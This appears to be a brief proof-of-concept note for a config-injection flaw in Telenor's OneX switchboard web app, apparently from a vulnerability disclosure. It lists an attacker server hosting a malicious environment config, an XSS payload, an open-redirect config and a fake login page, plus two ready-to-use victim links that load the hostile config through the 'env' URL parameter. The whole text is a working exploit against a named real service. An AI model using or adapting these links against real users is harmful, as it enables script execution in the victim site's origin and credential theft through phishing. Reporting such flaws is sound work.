Telenor OneX config-injection PoC — attacker server

Serving (all responses with Access-Control-Allow-Origin: *):

• https://xss.antoniusblock.net/x.json — malicious environment config (XSS)
• https://xss.antoniusblock.net/or_config.json — open-redirect variant config
• https://xss.antoniusblock.net/payload.js — XSS payload (alert popup)
• https://xss.antoniusblock.net/phish — fake login page (open-redirect target)

Victim link — XSS (alert + arbitrary JS in onex.telenor.se origin)

https://onex.telenor.se/switchboard/?env=https%3A%2F%2Fxss.antoniusblock.net%2Fx

Victim link — open redirect (full-page redirect to this server)

https://onex.telenor.se/switchboard/?env=https%3A%2F%2Fxss.antoniusblock.net%2For_config